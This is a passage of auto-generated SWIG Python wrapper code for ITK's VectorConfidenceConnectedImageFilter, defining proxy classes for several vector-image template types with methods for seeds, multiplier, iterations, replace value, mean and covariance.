itkVectorConfidenceConnectedImageFilterIVF22IUC2_swigregister(itkVectorConfidenceConnectedImageFilterIVF22IUC2)
def itkVectorConfidenceConnectedImageFilterIVF22IUC2___New_orig__() -> "itkVectorConfidenceConnectedImageFilterIVF22IUC2_Pointer":
"""itkVectorConfidenceConnectedImageFilterIVF22IUC2___New_orig__() -> itkVectorConfidenceConnectedImageFilterIVF22IUC2_Pointer"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIVF22IUC2___New_orig__()
def itkVectorConfidenceConnectedImageFilterIVF22IUC2_cast(obj: 'itkLightObject') -> "itkVectorConfidenceConnectedImageFilterIVF22IUC2 *":
"""itkVectorConfidenceConnectedImageFilterIVF22IUC2_cast(itkLightObject obj) -> itkVectorConfidenceConnectedImageFilterIVF22IUC2"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIVF22IUC2_cast(obj)
class itkVectorConfidenceConnectedImageFilterIVF22IUS2(itkImageToImageFilterBPython.itkImageToImageFilterIVF22IUS2):
"""Proxy of C++ itkVectorConfidenceConnectedImageFilterIVF22IUS2 class."""
thisown = _swig_property(lambda x: x.this.own(), lambda x, v: x.this.own(v), doc='The membership flag')
def __init__(self, *args, **kwargs):
raise AttributeError("No constructor defined")
__repr__ = _swig_repr
def __New_orig__() -> "itkVectorConfidenceConnectedImageFilterIVF22IUS2_Pointer":
"""__New_orig__() -> itkVectorConfidenceConnectedImageFilterIVF22IUS2_Pointer"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIVF22IUS2___New_orig__()
__New_orig__ = staticmethod(__New_orig__)
def Clone(self) -> "itkVectorConfidenceConnectedImageFilterIVF22IUS2_Pointer":
"""Clone(itkVectorConfidenceConnectedImageFilterIVF22IUS2 self) -> itkVectorConfidenceConnectedImageFilterIVF22IUS2_Pointer"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIVF22IUS2_Clone(self)
def PrintSelf(self, os: 'ostream', indent: 'itkIndent') -> "void":
"""PrintSelf(itkVectorConfidenceConnectedImageFilterIVF22IUS2 self, ostream os, itkIndent indent)"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIVF22IUS2_PrintSelf(self, os, indent)
def SetSeed(self, seed: 'itkIndex2') -> "void":
"""SetSeed(itkVectorConfidenceConnectedImageFilterIVF22IUS2 self, itkIndex2 seed)"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIVF22IUS2_SetSeed(self, seed)
def AddSeed(self, seed: 'itkIndex2') -> "void":
"""AddSeed(itkVectorConfidenceConnectedImageFilterIVF22IUS2 self, itkIndex2 seed)"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIVF22IUS2_AddSeed(self, seed)
def ClearSeeds(self) -> "void":
"""ClearSeeds(itkVectorConfidenceConnectedImageFilterIVF22IUS2 self)"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIVF22IUS2_ClearSeeds(self)
def SetMultiplier(self, _arg: 'double const') -> "void":
"""SetMultiplier(itkVectorConfidenceConnectedImageFilterIVF22IUS2 self, double const _arg)"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIVF22IUS2_SetMultiplier(self, _arg)
def GetMultiplier(self) -> "double":
"""GetMultiplier(itkVectorConfidenceConnectedImageFilterIVF22IUS2 self) -> double"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIVF22IUS2_GetMultiplier(self)
def SetNumberOfIterations(self, _arg: 'unsigned int const') -> "void":
"""SetNumberOfIterations(itkVectorConfidenceConnectedImageFilterIVF22IUS2 self, unsigned int const _arg)"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIVF22IUS2_SetNumberOfIterations(self, _arg)
def GetNumberOfIterations(self) -> "unsigned int":
"""GetNumberOfIterations(itkVectorConfidenceConnectedImageFilterIVF22IUS2 self) -> unsigned int"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIVF22IUS2_GetNumberOfIterations(self)
def SetReplaceValue(self, _arg: 'unsigned short const') -> "void":
"""SetReplaceValue(itkVectorConfidenceConnectedImageFilterIVF22IUS2 self, unsigned short const _arg)"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIVF22IUS2_SetReplaceValue(self, _arg)
def GetReplaceValue(self) -> "unsigned short":
"""GetReplaceValue(itkVectorConfidenceConnectedImageFilterIVF22IUS2 self) -> unsigned short"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIVF22IUS2_GetReplaceValue(self)
def SetInitialNeighborhoodRadius(self, _arg: 'unsigned int const') -> "void":
"""SetInitialNeighborhoodRadius(itkVectorConfidenceConnectedImageFilterIVF22IUS2 self, unsigned int const _arg)"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIVF22IUS2_SetInitialNeighborhoodRadius(self, _arg)
def GetInitialNeighborhoodRadius(self) -> "unsigned int const &":
"""GetInitialNeighborhoodRadius(itkVectorConfidenceConnectedImageFilterIVF22IUS2 self) -> unsigned int const &"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIVF22IUS2_GetInitialNeighborhoodRadius(self)
def GetMean(self) -> "vnl_vectorD const &":
"""GetMean(itkVectorConfidenceConnectedImageFilterIVF22IUS2 self) -> vnl_vectorD"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIVF22IUS2_GetMean(self)
def GetCovariance(self) -> "vnl_matrixD const &":
"""GetCovariance(itkVectorConfidenceConnectedImageFilterIVF22IUS2 self) -> vnl_matrixD"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIVF22IUS2_GetCovariance(self)
def GetSeeds(self) -> "std::vector< itkIndex2,std::allocator< itkIndex2 > > const &":
"""GetSeeds(itkVectorConfidenceConnectedImageFilterIVF22IUS2 self) -> std::vector< itkIndex2,std::allocator< itkIndex2 > > const &"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIVF22IUS2_GetSeeds(self)
OutputEqualityComparableCheck = _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIVF22IUS2_OutputEqualityComparableCheck
InputHasNumericTraitsCheck = _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIVF22IUS2_InputHasNumericTraitsCheck
OutputOStreamWritableCheck = _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIVF22IUS2_OutputOStreamWritableCheck
__swig_destroy__ = _itkVectorConfidenceConnectedImageFilterPython.delete_itkVectorConfidenceConnectedImageFilterIVF22IUS2
def cast(obj: 'itkLightObject') -> "itkVectorConfidenceConnectedImageFilterIVF22IUS2 *":
"""cast(itkLightObject obj) -> itkVectorConfidenceConnectedImageFilterIVF22IUS2"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIVF22IUS2_cast(obj)
cast = staticmethod(cast)
def New(*args, **kargs):
"""New() -> itkVectorConfidenceConnectedImageFilterIVF22IUS2
Create a new object of the class itkVectorConfidenceConnectedImageFilterIVF22IUS2 and set the input and the parameters if some
named or non-named arguments are passed to that method.
New() tries to assign all the non named parameters to the input of the new objects - the
first non named parameter in the first input, etc.
The named parameters are used by calling the method with the same name prefixed by 'Set'.
Ex:
itkVectorConfidenceConnectedImageFilterIVF22IUS2.New( reader, Threshold=10 )
is (most of the time) equivalent to:
obj = itkVectorConfidenceConnectedImageFilterIVF22IUS2.New()
obj.SetInput( 0, reader.GetOutput() )
obj.SetThreshold( 10 )
"""
obj = itkVectorConfidenceConnectedImageFilterIVF22IUS2.__New_orig__()
import itkTemplate
itkTemplate.New(obj, *args, **kargs)
return obj
New = staticmethod(New)
itkVectorConfidenceConnectedImageFilterIVF22IUS2.Clone = new_instancemethod(_itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIVF22IUS2_Clone, None, itkVectorConfidenceConnectedImageFilterIVF22IUS2)
itkVectorConfidenceConnectedImageFilterIVF22IUS2.PrintSelf = new_instancemethod(_itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIVF22IUS2_PrintSelf, None, itkVectorConfidenceConnectedImageFilterIVF22IUS2)
itkVectorConfidenceConnectedImageFilterIVF22IUS2.SetSeed = new_instancemethod(_itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIVF22IUS2_SetSeed, None, itkVectorConfidenceConnectedImageFilterIVF22IUS2)
itkVectorConfidenceConnectedImageFilterIVF22IUS2.AddSeed = new_instancemethod(_itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIVF22IUS2_AddSeed, None, itkVectorConfidenceConnectedImageFilterIVF22IUS2)
itkVectorConfidenceConnectedImageFilterIVF22IUS2.ClearSeeds = new_instancemethod(_itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIVF22IUS2_ClearSeeds, None, itkVectorConfidenceConnectedImageFilterIVF22IUS2)
itkVectorConfidenceConnectedImageFilterIVF22IUS2.SetMultiplier = new_instancemethod(_itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIVF22IUS2_SetMultiplier, None, itkVectorConfidenceConnectedImageFilterIVF22IUS2)
itkVectorConfidenceConnectedImageFilterIVF22IUS2.GetMultiplier = new_instancemethod(_itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIVF22IUS2_GetMultiplier, None, itkVectorConfidenceConnectedImageFilterIVF22IUS2)
itkVectorConfidenceConnectedImageFilterIVF22IUS2.SetNumberOfIterations = new_instancemethod(_itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIVF22IUS2_SetNumberOfIterations, None, itkVectorConfidenceConnectedImageFilterIVF22IUS2)
itkVectorConfidenceConnectedImageFilterIVF22IUS2.GetNumberOfIterations = new_instancemethod(_itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIVF22IUS2_GetNumberOfIterations, None, itkVectorConfidenceConnectedImageFilterIVF22IUS2)
itkVectorConfidenceConnectedImageFilterIVF22IUS2.SetReplaceValue = new_instancemethod(_itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIVF22IUS2_SetReplaceValue, None, itkVectorConfidenceConnectedImageFilterIVF22IUS2)
itkVectorConfidenceConnectedImageFilterIVF22IUS2.GetReplaceValue = new_instancemethod(_itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIVF22IUS2_GetReplaceValue, None, itkVectorConfidenceConnectedImageFilterIVF22IUS2)
itkVectorConfidenceConnectedImageFilterIVF22IUS2.SetInitialNeighborhoodRadius = new_instancemethod(_itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIVF22IUS2_SetInitialNeighborhoodRadius, None, itkVectorConfidenceConnectedImageFilterIVF22IUS2)
itkVectorConfidenceConnectedImageFilterIVF22IUS2.GetInitialNeighborhoodRadius = new_instancemethod(_itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIVF22IUS2_GetInitialNeighborhoodRadius, None, itkVectorConfidenceConnectedImageFilterIVF22IUS2)
itkVectorConfidenceConnectedImageFilterIVF22IUS2.GetMean = new_instancemethod(_itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIVF22IUS2_GetMean, None, itkVectorConfidenceConnectedImageFilterIVF22IUS2)
itkVectorConfidenceConnectedImageFilterIVF22IUS2.GetCovariance = new_instancemethod(_itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIVF22IUS2_GetCovariance, None, itkVectorConfidenceConnectedImageFilterIVF22IUS2)
itkVectorConfidenceConnectedImageFilterIVF22IUS2.GetSeeds = new_instancemethod(_itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIVF22IUS2_GetSeeds, None, itkVectorConfidenceConnectedImageFilterIVF22IUS2)
itkVectorConfidenceConnectedImageFilterIVF22IUS2_swigregister = _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIVF22IUS2_swigregister
itkVectorConfidenceConnectedImageFilterIVF22IUS2_swigregister(itkVectorConfidenceConnectedImageFilterIVF22IUS2)
def itkVectorConfidenceConnectedImageFilterIVF22IUS2___New_orig__() -> "itkVectorConfidenceConnectedImageFilterIVF22IUS2_Pointer":
"""itkVectorConfidenceConnectedImageFilterIVF22IUS2___New_orig__() -> itkVectorConfidenceConnectedImageFilterIVF22IUS2_Pointer"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIVF22IUS2___New_orig__()
def itkVectorConfidenceConnectedImageFilterIVF22IUS2_cast(obj: 'itkLightObject') -> "itkVectorConfidenceConnectedImageFilterIVF22IUS2 *":
"""itkVectorConfidenceConnectedImageFilterIVF22IUS2_cast(itkLightObject obj) -> itkVectorConfidenceConnectedImageFilterIVF22IUS2"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIVF22IUS2_cast(obj)
class itkVectorConfidenceConnectedImageFilterIVF23ISS3(itkImageToImageFilterBPython.itkImageToImageFilterIVF23ISS3):
"""Proxy of C++ itkVectorConfidenceConnectedImageFilterIVF23ISS3 class."""
thisown = _swig_property(lambda x: x.this.own(), lambda x, v: x.this.own(v), doc='The membership flag')
def __init__(self, *args, **kwargs):
raise AttributeError("No constructor defined")
__repr__ = _swig_repr
def __New_orig__() -> "itkVectorConfidenceConnectedImageFilterIVF23ISS3_Pointer":
"""__New_orig__() -> itkVectorConfidenceConnectedImageFilterIVF23ISS3_Pointer"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIVF23ISS3___New_orig__()
__New_orig__ = staticmethod(__New_orig__)
def Clone(self) -> "itkVectorConfidenceConnectedImageFilterIVF23ISS3_Pointer":
"""Clone(itkVectorConfidenceConnectedImageFilterIVF23ISS3 self) -> itkVectorConfidenceConnectedImageFilterIVF23ISS3_Pointer"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIVF23ISS3_Clone(self)
def PrintSelf(self, os: 'ostream', indent: 'itkIndent') -> "void":
"""PrintSelf(itkVectorConfidenceConnectedImageFilterIVF23ISS3 self, ostream os, itkIndent indent)"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIVF23ISS3_PrintSelf(self, os, indent)
def SetSeed(self, seed: 'itkIndex3') -> "void":
"""SetSeed(itkVectorConfidenceConnectedImageFilterIVF23ISS3 self, itkIndex3 seed)"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIVF23ISS3_SetSeed(self, seed)
def AddSeed(self, seed: 'itkIndex3') -> "void":
"""AddSeed(itkVectorConfidenceConnectedImageFilterIVF23ISS3 self, itkIndex3 seed)"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIVF23ISS3_AddSeed(self, seed)
def ClearSeeds(self) -> "void":
"""ClearSeeds(itkVectorConfidenceConnectedImageFilterIVF23ISS3 self)"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIVF23ISS3_ClearSeeds(self)
def SetMultiplier(self, _arg: 'double const') -> "void":
"""SetMultiplier(itkVectorConfidenceConnectedImageFilterIVF23ISS3 self, double const _arg)"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIVF23ISS3_SetMultiplier(self, _arg)
def GetMultiplier(self) -> "double":
"""GetMultiplier(itkVectorConfidenceConnectedImageFilterIVF23ISS3 self) -> double"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIVF23ISS3_GetMultiplier(self)
def SetNumberOfIterations(self, _arg: 'unsigned int const') -> "void":
"""SetNumberOfIterations(itkVectorConfidenceConnectedImageFilterIVF23ISS3 self, unsigned int const _arg)"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIVF23ISS3_SetNumberOfIterations(self, _arg)
def GetNumberOfIterations(self) -> "unsigned int":
"""GetNumberOfIterations(itkVectorConfidenceConnectedImageFilterIVF23ISS3 self) -> unsigned int"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIVF23ISS3_GetNumberOfIterations(self)
def SetReplaceValue(self, _arg: 'short const') -> "void":
"""SetReplaceValue(itkVectorConfidenceConnectedImageFilterIVF23ISS3 self, short const _arg)"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIVF23ISS3_SetReplaceValue(self, _arg)
def GetReplaceValue(self) -> "short":
"""GetReplaceValue(itkVectorConfidenceConnectedImageFilterIVF23ISS3 self) -> short"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIVF23ISS3_GetReplaceValue(self)
def SetInitialNeighborhoodRadius(self, _arg: 'unsigned int const') -> "void":
"""SetInitialNeighborhoodRadius(itkVectorConfidenceConnectedImageFilterIVF23ISS3 self, unsigned int const _arg)"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIVF23ISS3_SetInitialNeighborhoodRadius(self, _arg)
def GetInitialNeighborhoodRadius(self) -> "unsigned int const &":
"""GetInitialNeighborhoodRadius(itkVectorConfidenceConnectedImageFilterIVF23ISS3 self) -> unsigned int const &"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIVF23ISS3_GetInitialNeighborhoodRadius(self)
def GetMean(self) -> "vnl_vectorD const &":
"""GetMean(itkVectorConfidenceConnectedImageFilterIVF23ISS3 self) -> vnl_vectorD"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIVF23ISS3_GetMean(self)
def GetCovariance(self) -> "vnl_matrixD const &":
"""GetCovariance(itkVectorConfidenceConnectedImageFilterIVF23ISS3 self) -> vnl_matrixD"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIVF23ISS3_GetCovariance(self)
def GetSeeds(self) -> "std::vector< itkIndex3,std::allocator< itkIndex3 > > const &":
"""GetSeeds(itkVectorConfidenceConnectedImageFilterIVF23ISS3 self) -> std::vector< itkIndex3,std::allocator< itkIndex3 > > const &"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIVF23ISS3_GetSeeds(self)
OutputEqualityComparableCheck = _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIVF23ISS3_OutputEqualityComparableCheck
InputHasNumericTraitsCheck = _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIVF23ISS3_InputHasNumericTraitsCheck
OutputOStreamWritableCheck = _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIVF23ISS3_OutputOStreamWritableCheck
__swig_destroy__ = _itkVectorConfidenceConnectedImageFilterPython.delete_itkVectorConfidenceConnectedImageFilterIVF23ISS3
def cast(obj: 'itkLightObject') -> "itkVectorConfidenceConnectedImageFilterIVF23ISS3 *":
"""cast(itkLightObject obj) -> itkVectorConfidenceConnectedImageFilterIVF23ISS3"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIVF23ISS3_cast(obj)
cast = staticmethod(cast)
def New(*args, **kargs):
"""New() -> itkVectorConfidenceConnectedImageFilterIVF23ISS3
Create a new object of the class itkVectorConfidenceConnectedImageFilterIVF23ISS3 and set the input and the parameters if some
named or non-named arguments are passed to that method.
New() tries to assign all the non named parameters to the input of the new objects - the
first non named parameter in the first input, etc.
The named parameters are used by calling the method with the same name prefixed by 'Set'.
Ex:
itkVectorConfidenceConnectedImageFilterIVF23ISS3.New( reader, Threshold=10 )
is (most of the time) equivalent to:
obj = itkVectorConfidenceConnectedImageFilterIVF23ISS3.New()
obj.SetInput( 0, reader.GetOutput() )
obj.SetThreshold( 10 )
"""
obj = itkVectorConfidenceConnectedImageFilterIVF23ISS3.__New_orig__()
import itkTemplate
itkTemplate.New(obj, *args, **kargs)
return obj
New = staticmethod(New)
itkVectorConfidenceConnectedImageFilterIVF23ISS3.Clone = new_instancemethod(_itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIVF23ISS3_Clone, None, itkVectorConfidenceConnectedImageFilterIVF23ISS3)
itkVectorConfidenceConnectedImageFilterIVF23ISS3.PrintSelf = new_instancemethod(_itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIVF23ISS3_PrintSelf, None, itkVectorConfidenceConnectedImageFilterIVF23ISS3)
itkVectorConfidenceConnectedImageFilterIVF23ISS3.SetSeed = new_instancemethod(_itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIVF23ISS3_SetSeed, None, itkVectorConfidenceConnectedImageFilterIVF23ISS3)
itkVectorConfidenceConnectedImageFilterIVF23ISS3.AddSeed = new_instancemethod(_itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIVF23ISS3_AddSeed, None, itkVectorConfidenceConnectedImageFilterIVF23ISS3)
itkVectorConfidenceConnectedImageFilterIVF23ISS3.ClearSeeds = new_instancemethod(_itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIVF23ISS3_ClearSeeds, None, itkVectorConfidenceConnectedImageFilterIVF23ISS3)
itkVectorConfidenceConnectedImageFilterIVF23ISS3.SetMultiplier = new_instancemethod(_itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIVF23ISS3_SetMultiplier, None, itkVectorConfidenceConnectedImageFilterIVF23ISS3)
itkVectorConfidenceConnectedImageFilterIVF23ISS3.GetMultiplier = new_instancemethod(_itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIVF23ISS3_GetMultiplier, None, itkVectorConfidenceConnectedImageFilterIVF23ISS3)
itkVectorConfidenceConnectedImageFilterIVF23ISS3.SetNumberOfIterations = new_instancemethod(_itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIVF23ISS3_SetNumberOfIterations, None, itkVectorConfidenceConnectedImageFilterIVF23ISS3)
itkVectorConfidenceConnectedImageFilterIVF23ISS3.GetNumberOfIterations = new_instancemethod(_itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIVF23ISS3_GetNumberOfIterations, None, itkVectorConfidenceConnectedImageFilterIVF23ISS3)
itkVectorConfidenceConnectedImageFilterIVF23ISS3.SetReplaceValue = new_instancemethod(_itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIVF23ISS3_SetReplaceValue, None, itkVectorConfidenceConnectedImageFilterIVF23ISS3)
itkVectorConfidenceConnectedImageFilterIVF23ISS3.GetReplaceValue = new_instancemethod(_itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIVF23ISS3_GetReplaceValue, None, itkVectorConfidenceConnectedImageFilterIVF23ISS3)
itkVectorConfidenceConnectedImageFilterIVF23ISS3.SetInitialNeighborhoodRadius = new_instancemethod(_itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIVF23ISS3_SetInitialNeighborhoodRadius, None, itkVectorConfidenceConnectedImageFilterIVF23ISS3)
itkVectorConfidenceConnectedImageFilterIVF23ISS3.GetInitialNeighborhoodRadius = new_instancemethod(_itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIVF23ISS3_GetInitialNeighborhoodRadius, None, itkVectorConfidenceConnectedImageFilterIVF23ISS3)
itkVectorConfidenceConnectedImageFilterIVF23ISS3.GetMean = new_instancemethod(_itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIVF23ISS3_GetMean, None, itkVectorConfidenceConnectedImageFilterIVF23ISS3)
itkVectorConfidenceConnectedImageFilterIVF23ISS3.GetCovariance = new_instancemethod(_itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIVF23ISS3_GetCovariance, None, itkVectorConfidenceConnectedImageFilterIVF23ISS3)
itkVectorConfidenceConnectedImageFilterIVF23ISS3.GetSeeds = new_instancemethod(_itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIVF23ISS3_GetSeeds, None, itkVectorConfidenceConnectedImageFilterIVF23ISS3)
itkVectorConfidenceConnectedImageFilterIVF23ISS3_swigregister = _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIVF23ISS3_swigregister
itkVectorConfidenceConnectedImageFilterIVF23ISS3_swigregister(itkVectorConfidenceConnectedImageFilterIVF23ISS3)
def itkVectorConfidenceConnectedImageFilterIVF23ISS3___New_orig__() -> "itkVectorConfidenceConnectedImageFilterIVF23ISS3_Pointer":
"""itkVectorConfidenceConnectedImageFilterIVF23ISS3___New_orig__() -> itkVectorConfidenceConnectedImageFilterIVF23ISS3_Pointer"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIVF23ISS3___New_orig__()
def itkVectorConfidenceConnectedImageFilterIVF23ISS3_cast(obj: 'itkLightObject') -> "itkVectorConfidenceConnectedImageFilterIVF23ISS3 *":
"""itkVectorConfidenceConnectedImageFilterIVF23ISS3_cast(itkLightObject obj) -> itkVectorConfidenceConnectedImageFilterIVF23ISS3"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIVF23ISS3_cast(obj)
class itkVectorConfidenceConnectedImageFilterIVF23IUC3(itkImageToImageFilterBPython.itkImageToImageFilterIVF23IUC3):
"""Proxy of C++ itkVectorConfidenceConnectedImageFilterIVF23IUC3 class."""
thisown = _swig_property(lambda x: x.this.own(), lambda x, v: x.this.own(v), doc='The membership flag')
def __init__(self, *args, **kwargs):
raise AttributeError("No constructor defined")
__repr__ = _swig_repr
def __New_orig__() -> "itkVectorConfidenceConnectedImageFilterIVF23IUC3_Pointer":
"""__New_orig__() -> itkVectorConfidenceConnectedImageFilterIVF23IUC3_Pointer"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIVF23IUC3___New_orig__()
__New_orig__ = staticmethod(__New_orig__)
def Clone(self) -> "itkVectorConfidenceConnectedImageFilterIVF23IUC3_Pointer":
"""Clone(itkVectorConfidenceConnectedImageFilterIVF23IUC3 self) -> itkVectorConfidenceConnectedImageFilterIVF23IUC3_Pointer"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIVF23IUC3_Clone(self)
def PrintSelf(self, os: 'ostream', indent: 'itkIndent') -> "void":
"""PrintSelf(itkVectorConfidenceConnectedImageFilterIVF23IUC3 self, ostream os, itkIndent indent)"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIVF23IUC3_PrintSelf(self, os, indent)
def SetSeed(self, seed: 'itkIndex3') -> "void":
"""SetSeed(itkVectorConfidenceConnectedImageFilterIVF23IUC3 self, itkIndex3 seed)"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIVF23IUC3_SetSeed(self, seed)
def AddSeed(self, seed: 'itkIndex3') -> "void":
"""AddSeed(itkVectorConfidenceConnectedImageFilterIVF23IUC3 self, itkIndex3 seed)"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIVF23IUC3_AddSeed(self, seed)
def ClearSeeds(self) -> "void":
"""ClearSeeds(itkVectorConfidenceConnectedImageFilterIVF23IUC3 self)"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIVF23IUC3_ClearSeeds(self)
def SetMultiplier(self, _arg: 'double const') -> "void":
"""SetMultiplier(itkVectorConfidenceConnectedImageFilterIVF23IUC3 self, double const _arg)"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIVF23IUC3_SetMultiplier(self, _arg)
def GetMultiplier(self) -> "double":
"""GetMultiplier(itkVectorConfidenceConnectedImageFilterIVF23IUC3 self) -> double"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIVF23IUC3_GetMultiplier(self)
def SetNumberOfIterations(self, _arg: 'unsigned int const') -> "void":
"""SetNumberOfIterations(itkVectorConfidenceConnectedImageFilterIVF23IUC3 self, unsigned int const _arg)"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIVF23IUC3_SetNumberOfIterations(self, _arg)
def GetNumberOfIterations(self) -> "unsigned int":
"""GetNumberOfIterations(itkVectorConfidenceConnectedImageFilterIVF23IUC3 self) -> unsigned int"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIVF23IUC3_GetNumberOfIterations(self)
def SetReplaceValue(self, _arg: 'unsigned char const') -> "void":
"""SetReplaceValue(itkVectorConfidenceConnectedImageFilterIVF23IUC3 self, unsigned char const _arg)"""
